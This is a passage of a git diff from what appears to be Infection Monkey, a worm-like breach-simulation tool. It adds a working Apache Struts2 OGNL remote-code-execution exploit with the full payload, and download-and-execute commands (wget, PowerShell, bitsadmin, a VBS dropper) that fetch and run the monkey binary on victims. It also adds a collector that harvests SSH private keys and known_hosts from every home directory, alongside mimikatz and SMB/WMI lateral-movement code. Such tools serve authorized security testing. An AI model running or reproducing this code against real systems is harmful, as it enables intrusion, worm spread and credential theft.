self.host.os['machine'] = host_arch + if url and host_arch: + LOG.info("Host is exploitable with struts2 RCE vulnerability") + # If monkey already exists and option not to exploit in that case is selected + if self.skip_exist and self.check_remote_file(url, dropper_path): + LOG.info("Host %s was already infected under the current configuration, done" % self.host) + return True + + src_path = get_target_monkey(self.host) + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", self.host) + return False + # create server for http download. + http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) + if not http_path: + LOG.debug("Exploiter Struts2 failed, http transfer creation failed.") + return False + LOG.info("Started http server on %s", http_path) + + cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path) + + command = WGET_HTTP % {'monkey_path': dropper_path, + 'http_path': http_path, 'parameters': cmdline} + + self.exploit(url, command) + + http_thread.join(DOWNLOAD_TIMEOUT) + http_thread.stop() + LOG.info("Struts2 exploit attempt finished") + + return True + + return False + + def exploit_windows(self, url, dropper_paths): + """ + :param url: Where to send malicious request + :param dropper_paths: [0]-monkey-windows-32.bat, [1]-monkey-windows-64.bat + :return: Bool. Successfully exploited or not + """ + host_arch = Struts2Exploiter.check_exploit_windows(url) + if host_arch: + self.host.os['machine'] = host_arch + if url and host_arch: + LOG.info("Host is exploitable with struts2 RCE vulnerability") + # If monkey already exists and option not to exploit in that case is selected + if self.skip_exist: + for dropper_path in dropper_paths: + if self.check_remote_file(url, re.sub(r"\\", r"\\\\", dropper_path)): + LOG.info("Host %s was already infected under the current configuration, done" % self.host) + return True + + src_path = get_target_monkey(self.host) + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", self.host) + return False + # Select the dir and name for monkey on the host + if "windows-32" in src_path: + dropper_path = dropper_paths[0] + else: + dropper_path = dropper_paths[1] + # create server for http download. + http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) + if not http_path: + LOG.debug("Exploiter Struts2 failed, http transfer creation failed.") + return False + LOG.info("Started http server on %s", http_path) + + # We need to double escape backslashes. Once for payload, twice for command + cmdline = re.sub(r"\\", r"\\\\", build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path)) + + command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), + 'http_path': http_path, 'parameters': cmdline} + + backup_command = RDP_CMDLINE_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), + 'http_path': http_path, 'parameters': cmdline, 'type': DROPPER_ARG} + + resp = self.exploit(url, command) + + if 'powershell is not recognized' in resp: + self.exploit(url, backup_command) + + http_thread.join(DOWNLOAD_TIMEOUT) + http_thread.stop() + LOG.info("Struts2 exploit attempt finished") + + return True + + return False + + @staticmethod + def check_exploit_windows(url): + resp = Struts2Exploiter.exploit(url, CHECK_WINDOWS) + if resp and ID_STRING in resp: + if "64-bit" in resp: + return "64" + else: + return "32" + else: + return False + + @staticmethod + def check_exploit_linux(url): + resp = Struts2Exploiter.exploit(url, CHECK_LINUX) + if resp and ID_STRING in resp: + # Pulls architecture string + arch = re.search('(?<=Architecture:)\s+(\w+)', resp) + arch = arch.group(1) + return arch + else: + return False + + @staticmethod + def get_redirected(url): + # Returns false if url is not right + headers = {'User-Agent': 'Mozilla/5.0'} + request = urllib2.Request(url, headers=headers) + try: + return urllib2.urlopen(request).geturl() + except urllib2.URLError: + LOG.error("Can't reach struts2 server") + return False + + @staticmethod + def exploit(url, cmd): + """ + :param url: Full url to send request to + :param cmd: Code to try and execute on host + :return: response + """ + payload = "%%{(#_='multipart/form-data')." \ + "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \ + "(#_memberAccess?" \ + "(#_memberAccess=#dm):" \ + "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." \ + "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." \ + "(#ognlUtil.getExcludedPackageNames().clear())." \ + "(#ognlUtil.getExcludedClasses().clear())." \ + "(#context.setMemberAccess(#dm))))." \ + "(#cmd='%s')." \ + "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." \ + "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." \ + "(#p=new java.lang.ProcessBuilder(#cmds))." \ + "(#p.redirectErrorStream(true)).(#process=#p.start())." \ + "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." \ + "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." \ + "(#ros.flush())}" % cmd + # Turns payload ascii just for consistency + if isinstance(payload, unicode): + payload = unicodedata.normalize('NFKD', payload).encode('ascii', 'ignore') + headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload} + try: + request = urllib2.Request(url, headers=headers) + # Timeout added or else we would wait for all monkeys' output + page = urllib2.urlopen(request).read() + except AttributeError: + # If url does not exist + return False + except httplib.IncompleteRead as e: + page = e.partial + + return page + + @staticmethod + def get_exploitable_ports(host, port_list, names): + candidate_services = {} + for name in names: + chosen_services = { + service: host.services[service] for service in host.services if + ('name' in host.services[service]) and (host.services[service]['name'] == name) + } + candidate_services.update(chosen_services) + + valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if + 'tcp-' + str(port) in candidate_services] + + return valid_ports diff --git a/infection_monkey/exploit/tools.py b/infection_monkey/exploit/tools.py index 60e3950a6..dbbd8070a 100644 --- a/infection_monkey/exploit/tools.py +++ b/infection_monkey/exploit/tools.py @@ -405,7 +405,7 @@ def get_interface_to_target(dst): for d, m, gw, i, a in routes: aa = atol(a) if aa == dst: - pathes.append((0xffffffffL, ("lo", a, "0.0.0.0"))) + pathes.append((0xffffffff, ("lo", a, "0.0.0.0"))) if (dst & m) == (d & m): pathes.append((m, (i, a, gw))) if not pathes: diff --git a/infection_monkey/exploit/win_ms08_067.py b/infection_monkey/exploit/win_ms08_067.py index 51393ea69..85086bce7 100644 --- a/infection_monkey/exploit/win_ms08_067.py +++ b/infection_monkey/exploit/win_ms08_067.py @@ -214,7 +214,7 @@ class Ms08_067_Exploiter(HostExploiter): # copy the file remotely using SMB remote_full_path = SmbTools.copy_file(self.host, src_path, - self._config.dropper_target_path, + self._config.dropper_target_path_win_32, self._config.ms08_067_remote_user_add, self._config.ms08_067_remote_user_pass) @@ -223,7 +223,7 @@ class Ms08_067_Exploiter(HostExploiter): for password in self._config.exploit_password_list: remote_full_path = SmbTools.copy_file(self.host, src_path, - self._config.dropper_target_path, + self._config.dropper_target_path_win_32, "Administrator", password) if remote_full_path: @@ -233,9 +233,9 @@ class Ms08_067_Exploiter(HostExploiter): return False # execute the remote dropper in case the path isn't final - if remote_full_path.lower() != self._config.dropper_target_path.lower(): + if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \ - build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path) + build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32) else: cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \ build_monkey_commandline(self.host, get_monkey_depth() - 1) diff --git a/infection_monkey/exploit/wmiexec.py b/infection_monkey/exploit/wmiexec.py index 1a77a7347..0f9b2ee4c 100644 --- a/infection_monkey/exploit/wmiexec.py +++ b/infection_monkey/exploit/wmiexec.py @@ -77,7 +77,7 @@ class WmiExploiter(HostExploiter): # copy the file remotely using SMB remote_full_path = SmbTools.copy_file(self.host, src_path, - self._config.dropper_target_path, + self._config.dropper_target_path_win_32, user, password, lm_hash, @@ -88,9 +88,9 @@ class WmiExploiter(HostExploiter): wmi_connection.close() return False # execute the remote dropper in case the path isn't final - elif remote_full_path.lower() != self._config.dropper_target_path.lower(): + elif remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \ - build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path) + build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32) else: cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \ build_monkey_commandline(self.host, get_monkey_depth() - 1) diff --git a/infection_monkey/main.py b/infection_monkey/main.py index 6bdef408c..51fd6b9f7 100644 --- a/infection_monkey/main.py +++ b/infection_monkey/main.py @@ -91,7 +91,12 @@ def main(): if WormConfiguration.use_file_logging: if os.path.exists(log_path): - os.remove(log_path) + # If log exists but can't be removed it means other monkey is running. This usually happens on upgrade + # from 32bit to 64bit monkey on Windows. In all cases this shouldn't be a problem. + try: + os.remove(log_path) + except OSError: + pass LOG_CONFIG['handlers']['file']['filename'] = log_path LOG_CONFIG['root']['handlers'].append('file') else: diff --git a/infection_monkey/model/__init__.py b/infection_monkey/model/__init__.py index 1296570e1..a2a1e18bb 100644 --- a/infection_monkey/model/__init__.py +++ b/infection_monkey/model/__init__.py @@ -4,6 +4,7 @@ __author__ = 'itamar' MONKEY_ARG = "m0nk3y" DROPPER_ARG = "dr0pp3r" +ID_STRING = "M0NK3Y3XPL0ITABLE" DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG, ) @@ -14,3 +15,15 @@ MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priorit RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (MONKEY_ARG, ) RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, ) DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1' + +# Commands used for downloading monkeys +POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (DROPPER_ARG, ) +WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && chmod +x %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (DROPPER_ARG, ) +RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %%(type)s %%(parameters)s' + +# Commands used to check for architecture and if machine is exploitable +CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING +CHECK_LINUX = "echo %s && lscpu" % ID_STRING + +# Commands used to check if monkeys already exists +EXISTS = "ls %s" \ No newline at end of file diff --git a/infection_monkey/model/host.py b/infection_monkey/model/host.py index 502f81ca9..00bf08053 100644 --- a/infection_monkey/model/host.py +++ b/infection_monkey/model/host.py @@ -29,7 +29,7 @@ class VictimHost(object): return self.ip_addr.__cmp__(other.ip_addr) def __repr__(self): - return "" % self.ip_addr + return "VictimHost({0!r})".format(self.ip_addr) def __str__(self): victim = "Victim Host %s: " % self.ip_addr @@ -39,7 +39,7 @@ class VictimHost(object): victim += "] Services - [" for k, v in self.services.items(): victim += "%s-%s " % (k, v) - victim += ']' + victim += '] ' victim += "target monkey: %s" % self.monkey_exe return victim diff --git a/infection_monkey/monkey-linux.spec b/infection_monkey/monkey-linux.spec index c8c4c631b..fac69536e 100644 --- a/infection_monkey/monkey-linux.spec +++ b/infection_monkey/monkey-linux.spec @@ -4,7 +4,7 @@ block_cipher = None a = Analysis(['main.py'], - pathex=['.'], + pathex=['.', '..'], binaries=None, datas=None, hiddenimports=['_cffi_backend'], diff --git a/infection_monkey/monkey.py b/infection_monkey/monkey.py index ac900e2bd..8ad1baf8c 100644 --- a/infection_monkey/monkey.py +++ b/infection_monkey/monkey.py @@ -12,8 +12,10 @@ from control import ControlClient from model import DELAY_DELETE_CMD from network.firewall import app as firewall from network.network_scanner import NetworkScanner +from six.moves import xrange from system_info import SystemInfoCollector from system_singleton import SystemSingleton +from windows_upgrader import WindowsUpgrader __author__ = 'itamar' @@ -35,6 +37,8 @@ class InfectionMonkey(object): self._fingerprint = None self._default_server = None self._depth = 0 + self._opts = None + self._upgrading_to_64 = False def initialize(self): LOG.info("Monkey is initializing...") @@ -46,14 +50,13 @@ class InfectionMonkey(object): arg_parser.add_argument('-p', '--parent') arg_parser.add_argument('-t', '--tunnel') arg_parser.add_argument('-s', '--server') - arg_parser.add_argument('-d', '--depth') - opts, self._args = arg_parser.parse_known_args(self._args) + arg_parser.add_argument('-d', '--depth', type=int) + self._opts, self._args = arg_parser.parse_known_args(self._args) - self._parent = opts.parent - self._default_tunnel = opts.tunnel - self._default_server = opts.server - if opts.depth: - WormConfiguration.depth = int(opts.depth) + self._parent = self._opts.parent + self._default_tunnel = self._opts.tunnel + self._default_server = self._opts.server + if self._opts.depth: WormConfiguration._depth_from_commandline = True self._keep_running = True self._network = NetworkScanner() @@ -69,15 +72,27 @@ class InfectionMonkey(object): def start(self): LOG.info("Monkey is running...") - if firewall.is_enabled(): - firewall.add_firewall_rule() - ControlClient.wakeup(parent=self._parent, default_tunnel=self._default_tunnel) + if not ControlClient.find_server(default_tunnel=self._default_tunnel): + LOG.info("Monkey couldn't find server. Going down.") + return + + if WindowsUpgrader.should_upgrade(): + self._upgrading_to_64 = True + self._singleton.unlock() + LOG.info("32bit monkey running on 64bit Windows. Upgrading.") + WindowsUpgrader.upgrade(self._opts) + return + + ControlClient.wakeup(parent=self._parent) ControlClient.load_control_config() if not WormConfiguration.alive: LOG.info("Marked not alive from configuration") return + if firewall.is_enabled(): + firewall.add_firewall_rule() + monkey_tunnel = ControlClient.create_control_tunnel() if monkey_tunnel: monkey_tunnel.start() @@ -216,23 +231,31 @@ class InfectionMonkey(object): LOG.info("Monkey cleanup started") self._keep_running = False - # Signal the server (before closing the tunnel) - ControlClient.send_telemetry("state", {'done': True}) + if self._upgrading_to_64: + InfectionMonkey.close_tunnel() + firewall.close() + else: + ControlClient.send_telemetry("state", {'done': True}) # Signal the server (before closing the tunnel) + InfectionMonkey.close_tunnel() + firewall.close() + if WormConfiguration.send_log_to_server: + self.send_log() + self._singleton.unlock() - # Close tunnel + InfectionMonkey.self_delete() + LOG.info("Monkey is shutting down") + + @staticmethod + def close_tunnel(): tunnel_address = ControlClient.proxies.get('https', '').replace('https://', '').split(':')[0] if tunnel_address: LOG.info("Quitting tunnel %s", tunnel_address) tunnel.quit_tunnel(tunnel_address) - firewall.close() - - if WormConfiguration.send_log_to_server: - self.send_log() - - self._singleton.unlock() - - if WormConfiguration.self_delete_in_cleanup and -1 == sys.executable.find('python'): + @staticmethod + def self_delete(): + if WormConfiguration.self_delete_in_cleanup \ + and -1 == sys.executable.find('python'): try: if "win32" == sys.platform: from _subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE @@ -247,8 +270,6 @@ class InfectionMonkey(object): except Exception as exc: LOG.error("Exception in self delete: %s", exc) - LOG.info("Monkey is shutting down") - def send_log(self): monkey_log_path = utils.get_monkey_log_path() if os.path.exists(monkey_log_path): diff --git a/infection_monkey/monkey.spec b/infection_monkey/monkey.spec index 8e004145b..cb9c6130e 100644 --- a/infection_monkey/monkey.spec +++ b/infection_monkey/monkey.spec @@ -2,7 +2,7 @@ import os import platform a = Analysis(['main.py'], - pathex=['.'], + pathex=['.', '..'], hiddenimports=['_cffi_backend', 'queue'], hookspath=None, runtime_hooks=None) diff --git a/infection_monkey/network/__init__.py b/infection_monkey/network/__init__.py index a1df9d2e9..fa15e357c 100644 --- a/infection_monkey/network/__init__.py +++ b/infection_monkey/network/__init__.py @@ -27,3 +27,4 @@ from elasticfinger import ElasticFinger from mysqlfinger import MySQLFinger from info import local_ips from info import get_free_tcp_port +from mssql_fingerprint import MSSQLFinger \ No newline at end of file diff --git a/infection_monkey/network/info.py b/infection_monkey/network/info.py index 3bab8cb17..a55dbcdc5 100644 --- a/infection_monkey/network/info.py +++ b/infection_monkey/network/info.py @@ -8,6 +8,12 @@ import itertools import netifaces from subprocess import check_output from random import randint +from common.network.network_range import CidrRange + +try: + long # Python 2 +except NameError: + long = int # Python 3 def get_host_subnets(): @@ -92,8 +98,8 @@ else: ifaddr = socket.inet_ntoa(ifreq[20:24]) else: continue - routes.append((socket.htonl(long(dst, 16)) & 0xffffffffL, - socket.htonl(long(msk, 16)) & 0xffffffffL, + routes.append((socket.htonl(long(dst, 16)) & 0xffffffff, + socket.htonl(long(msk, 16)) & 0xffffffff, socket.inet_ntoa(struct.pack("I", long(gw, 16))), iff, ifaddr)) @@ -129,7 +135,7 @@ def check_internet_access(services): return False -def get_ips_from_interfaces(): +def get_interfaces_ranges(): """ Returns a list of IPs accessible in the host in each network interface, in the subnet. Limits to a single class C if the network is larger @@ -138,15 +144,11 @@ def get_ips_from_interfaces(): res = [] ifs = get_host_subnets() for net_interface in ifs: - address_str = unicode(net_interface['addr']) - netmask_str = unicode(net_interface['netmask']) - host_address = ipaddress.ip_address(address_str) + address_str = net_interface['addr'] + netmask_str = net_interface['netmask'] ip_interface = ipaddress.ip_interface(u"%s/%s" % (address_str, netmask_str)) # limit subnet scans to class C only - if ip_interface.network.num_addresses > 255: - ip_interface = ipaddress.ip_interface(u"%s/24" % address_str) - addrs = [str(addr) for addr in ip_interface.network.hosts() if addr != host_address] - res.extend(addrs) + res.append(CidrRange(cidr_range="%s/%s" % (address_str, netmask_str))) return res diff --git a/infection_monkey/network/mssql_fingerprint.py b/infection_monkey/network/mssql_fingerprint.py new file mode 100644 index 000000000..9409c2255 --- /dev/null +++ b/infection_monkey/network/mssql_fingerprint.py @@ -0,0 +1,74 @@ +import logging +import socket + +from model.host import VictimHost +from network import HostFinger + +__author__ = 'Maor Rayzin' + +LOG = logging.getLogger(__name__) + + +class MSSQLFinger(HostFinger): + + # Class related consts + SQL_BROWSER_DEFAULT_PORT = 1434 + BUFFER_SIZE = 4096 + TIMEOUT = 5 + SERVICE_NAME = 'MSSQL' + + def __init__(self): + self._config = __import__('config').WormConfiguration + + def get_host_fingerprint(self, host): + """Gets Microsoft SQL Server instance information by querying the SQL Browser service. + :arg: + host (VictimHost): The MS-SSQL Server to query for information. + + :returns: + Discovered server information written to the Host info struct. + True if success, False otherwise. + """ + + assert isinstance(host, VictimHost) + + # Create a UDP socket and sets a timeout + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.settimeout(self.TIMEOUT) + server_address = (str(host.ip_addr), self.SQL_BROWSER_DEFAULT_PORT) + + # The message is a CLNT_UCAST_EX packet to get all instances + # https://msdn.microsoft.com/en-us/library/cc219745.aspx + message = '\x03' + + # Encode the message as a bytesarray + message = message.encode() + + # send data and receive response + try: + LOG.info('Sending message to requested host: {0}, {1}'.format(host, message)) + sock.sendto(message, server_address) + data, server = sock.recvfrom(self.BUFFER_SIZE) + except socket.timeout: + LOG.info('Socket timeout reached, maybe browser service on host: {0} doesnt exist'.format(host)) + sock.close() + return False + + host.services[self.SERVICE_NAME] = {} + + # Loop through the server data + instances_list = data[3:].decode().split(';;') + LOG.info('{0} MSSQL instances found'.format(len(instances_list))) + for instance in instances_list: + instance_info = instance.split(';') + if len(instance_info) > 1: + host.services[self.SERVICE_NAME][instance_info[1]] = {} + for i in range(1, len(instance_info), 2): + # Each instance's info is nested under its own name, if there are multiple instances + # each will appear under its own name + host.services[self.SERVICE_NAME][instance_info[1]][instance_info[i - 1]] = instance_info[i] + + # Close the socket + sock.close() + + return True diff --git a/infection_monkey/network/network_scanner.py b/infection_monkey/network/network_scanner.py index 9c1cf897e..563b04b6d 100644 --- a/infection_monkey/network/network_scanner.py +++ b/infection_monkey/network/network_scanner.py @@ -2,8 +2,9 @@ import logging import time from config import WormConfiguration -from info import local_ips, get_ips_from_interfaces -from range import * +from info import local_ips, get_interfaces_ranges +from common.network.network_range import * +from model import VictimHost from . import HostScanner __author__ = 'itamar' @@ -20,9 +21,8 @@ class NetworkScanner(object): def initialize(self): """ - Set up scanning based on configuration - FixedRange -> Reads from range_fixed field in configuration - otherwise, takes a range from every IP address the current host has. + Set up scanning. + based on configuration: scans local network and/or scans fixed list of IPs/subnets. :return: """ # get local ip addresses @@ -33,13 +33,9 @@ class NetworkScanner(object): LOG.info("Found local IP addresses of the machine: %r", self._ip_addresses) # for fixed range, only scan once. - if WormConfiguration.range_class is FixedRange: - self._ranges = [WormConfiguration.range_class(fixed_addresses=WormConfiguration.range_fixed)] - else: - self._ranges = [WormConfiguration.range_class(ip_address) - for ip_address in self._ip_addresses] + self._ranges = [NetworkRange.get_range_obj(address_str=x) for x in WormConfiguration.subnet_scan_list] if WormConfiguration.local_network_scan: - self._ranges += [FixedRange([ip_address for ip_address in get_ips_from_interfaces()])] + self._ranges += get_interfaces_ranges() LOG.info("Base local networks to scan are: %r", self._ranges) def get_victim_machines(self, scan_type, max_find=5, stop_callback=None): @@ -50,7 +46,8 @@ class NetworkScanner(object): for net_range in self._ranges: LOG.debug("Scanning for potential victims in the network %r", net_range) - for victim in net_range: + for ip_addr in net_range: + victim = VictimHost(ip_addr) if stop_callback and stop_callback(): LOG.debug("Got stop signal") break diff --git a/infection_monkey/network/range.py b/infection_monkey/network/range.py deleted file mode 100644 index b07828f4b..000000000 --- a/infection_monkey/network/range.py +++ /dev/null @@ -1,82 +0,0 @@ -import random -import socket -import struct -from abc import ABCMeta, abstractmethod - -from model.host import VictimHost - -__author__ = 'itamar' - - -class NetworkRange(object): - __metaclass__ = ABCMeta - - def __init__(self, base_address, shuffle=True): - self._base_address = base_address - self._shuffle = shuffle - self._config = __import__('config').WormConfiguration - - @abstractmethod - def _get_range(self): - raise NotImplementedError() - - def __iter__(self): - base_range = self._get_range() - if self._shuffle: - random.shuffle(base_range) - - for x in base_range: - yield VictimHost(socket.inet_ntoa(struct.pack(">L", self._base_address + x))) - - -class ClassCRange(NetworkRange): - def __init__(self, base_address, shuffle=True): - base_address = struct.unpack(">L", socket.inet_aton(base_address))[0] & 0xFFFFFF00 - super(ClassCRange, self).__init__(base_address, shuffle=shuffle) - - def __repr__(self): - return "" % (socket.inet_ntoa(struct.pack(">L", self._base_address + 1)), - socket.inet_ntoa(struct.pack(">L", self._base_address + 254))) - - def _get_range(self): - return range(1, 254) - - -class RelativeRange(NetworkRange): - def __init__(self, base_address, shuffle=True): - base_address = struct.unpack(">L", socket.inet_aton(base_address))[0] - super(RelativeRange, self).__init__(base_address, shuffle=shuffle) - self._size = 1 - - def __repr__(self): - return "" % (socket.inet_ntoa(struct.pack(">L", self._base_address - self._size)), - socket.inet_ntoa(struct.pack(">L", self._base_address + self._size))) - - def _get_range(self): - lower_end = -(self._size / 2) - higher_end = lower_end + self._size - return range(lower_end, higher_end + 1) - - -class FixedRange(NetworkRange): - def __init__(self, fixed_addresses=None, shuffle=True): - base_address = 0 - super(FixedRange, self).__init__(base_address, shuffle=shuffle) - if not fixed_addresses: - self._fixed_addresses = self._config.range_fixed - else: - if type(fixed_addresses) is str: - self._fixed_addresses = [fixed_addresses] - else: - self._fixed_addresses = list(fixed_addresses) - - def __repr__(self): - return "" % (",".join(self._fixed_addresses)) - - def _get_range(self): - address_range = [] - for address in self._fixed_addresses: - if not address: # Empty string - continue - address_range.append(struct.unpack(">L", socket.inet_aton(address.strip()))[0]) - return address_range diff --git a/infection_monkey/network/smbfinger.py b/infection_monkey/network/smbfinger.py index bf8e5bfec..9ccb52422 100644 --- a/infection_monkey/network/smbfinger.py +++ b/infection_monkey/network/smbfinger.py @@ -144,13 +144,13 @@ class SMBFinger(HostFinger): host.os['type'] = 'linux' host.services[SMB_SERVICE]['name'] = service_client - if not host.os.has_key('version'): + if 'version' not in host.os: host.os['version'] = os_version else: host.services[SMB_SERVICE]['os-version'] = os_version return True - except Exception, exc: + except Exception as exc: LOG.debug("Error getting smb fingerprint: %s", exc) return False diff --git a/infection_monkey/requirements.txt b/infection_monkey/requirements.txt index bd2f4a648..60656280b 100644 --- a/infection_monkey/requirements.txt +++ b/infection_monkey/requirements.txt @@ -10,9 +10,11 @@ odict paramiko psutil==3.4.2 PyInstaller +six ecdsa netifaces mock nos ipaddress wmi + diff --git a/infection_monkey/system_info/SSH_info_collector.py b/infection_monkey/system_info/SSH_info_collector.py new file mode 100644 index 000000000..af1915e4d --- /dev/null +++ b/infection_monkey/system_info/SSH_info_collector.py @@ -0,0 +1,96 @@ +import logging +import pwd +import os +import glob + +__author__ = 'VakarisZ' + +LOG = logging.getLogger(__name__) + + +class SSHCollector(object): + """ + SSH keys and known hosts collection module + """ + + default_dirs = ['/.ssh/', '/'] + + @staticmethod + def get_info(): + LOG.info("Started scanning for ssh keys") + home_dirs = SSHCollector.get_home_dirs() + ssh_info = SSHCollector.get_ssh_files(home_dirs) + LOG.info("Scanned for ssh keys") + return ssh_info + + @staticmethod + def get_ssh_struct(name, home_dir): + """ + :return: SSH info struct with these fields: + name: username of user, for whom the keys belong + home_dir: users home directory + public_key: contents of *.pub file(public key) + private_key: contents of * file(private key) + known_hosts: contents of known_hosts file(all the servers keys are good for, + possibly hashed) + """ + return {'name': name, 'home_dir': home_dir, 'public_key': None, + 'private_key': None, 'known_hosts': None} + + @staticmethod + def get_home_dirs(): + root_dir = SSHCollector.get_ssh_struct('root', '') + home_dirs = [SSHCollector.get_ssh_struct(x.pw_name, x.pw_dir) for x in pwd.getpwall() + if x.pw_dir.startswith('/home')] + home_dirs.append(root_dir) + return home_dirs + + @staticmethod + def get_ssh_files(usr_info): + for info in usr_info: + path = info['home_dir'] + for directory in SSHCollector.default_dirs: + if os.path.isdir(path + directory): + try: + current_path = path + directory + # Searching for public key + if glob.glob(os.path.join(current_path, '*.pub')): + # Getting first file in current path with .pub extension(public key) + public = (glob.glob(os.path.join(current_path, '*.pub'))[0]) + LOG.info("Found public key in %s" % public) + try: + with open(public) as f: + info['public_key'] = f.read() + # By default private key has the same name as public, only without .pub + private = os.path.splitext(public)[0] + if os.path.exists(private): + try: + with open(private) as f: + # no use from ssh key if it's encrypted + private_key = f.read() + if private_key.find('ENCRYPTED') == -1: + info['private_key'] = private_key + LOG.info("Found private key in %s" % private) + else: + continue + except (IOError, OSError): + pass + # By default known hosts file is called 'known_hosts' + known_hosts = os.path.join(current_path, 'known_hosts') + if os.path.exists(known_hosts): + try: + with open(known_hosts) as f: + info['known_hosts'] = f.read() + LOG.info("Found known_hosts in %s" % known_hosts) + except (IOError, OSError): + pass + # If private key found don't search more + if info['private_key']: + break + except (IOError, OSError): + pass + except OSError: + pass + usr_info = [info for info in usr_info if info['private_key'] or info['known_hosts'] + or info['public_key']] + return usr_info diff --git a/infection_monkey/system_info/azure_cred_collector.py b/infection_monkey/system_info/azure_cred_collector.py index ad7db0307..3b1127e44 100644 --- a/infection_monkey/system_info/azure_cred_collector.py +++ b/infection_monkey/system_info/azure_cred_collector.py @@ -96,7 +96,7 @@ class AzureCollector(object): except IOError: LOG.warning("Failed to parse VM Access plugin file. Could not open file") return None - except (KeyError, ValueError): + except (KeyError, ValueError, IndexError): LOG.warning("Failed to parse VM Access plugin file. Invalid format") return None except subprocess.CalledProcessError: diff --git a/infection_monkey/system_info/linux_info_collector.py b/infection_monkey/system_info/linux_info_collector.py index ccdd7cb30..d80efff6a 100644 --- a/infection_monkey/system_info/linux_info_collector.py +++ b/infection_monkey/system_info/linux_info_collector.py @@ -1,6 +1,7 @@ import logging from . import InfoCollector +from SSH_info_collector import SSHCollector __author__ = 'uri' @@ -26,4 +27,6 @@ class LinuxInfoCollector(InfoCollector): self.get_process_list() self.get_network_info() self.get_azure_info() + self.info['ssh_info'] = SSHCollector.get_info() return self.info + diff --git a/infection_monkey/system_info/mimikatz_collector.py b/infection_monkey/system_info/mimikatz_collector.py index d7e3cb387..89222c2e2 100644 --- a/infection_monkey/system_info/mimikatz_collector.py +++ b/infection_monkey/system_info/mimikatz_collector.py @@ -26,7 +26,7 @@ class MimikatzCollector(object): self._get = get_proto(("get", self._dll)) self._getTextOutput = getTextOutput(("getTextOutput", self._dll)) self._isInit = True - except StandardError: + except Exception: LOG.exception("Error initializing mimikatz collector") def get_logon_info(self): @@ -75,7 +75,7 @@ class MimikatzCollector(object): logon_data_dictionary[username]["ntlm_hash"] = ntlm_hash return logon_data_dictionary - except StandardError: + except Exception: LOG.exception("Error getting logon info") return {} diff --git a/infection_monkey/test/__init__.py b/infection_monkey/test/__init__.py deleted file mode 100644 index e69de29bb..000000000 diff --git a/infection_monkey/test/config__test.py b/infection_monkey/test/config__test.py deleted file mode 100644 index accdd5a49..000000000 --- 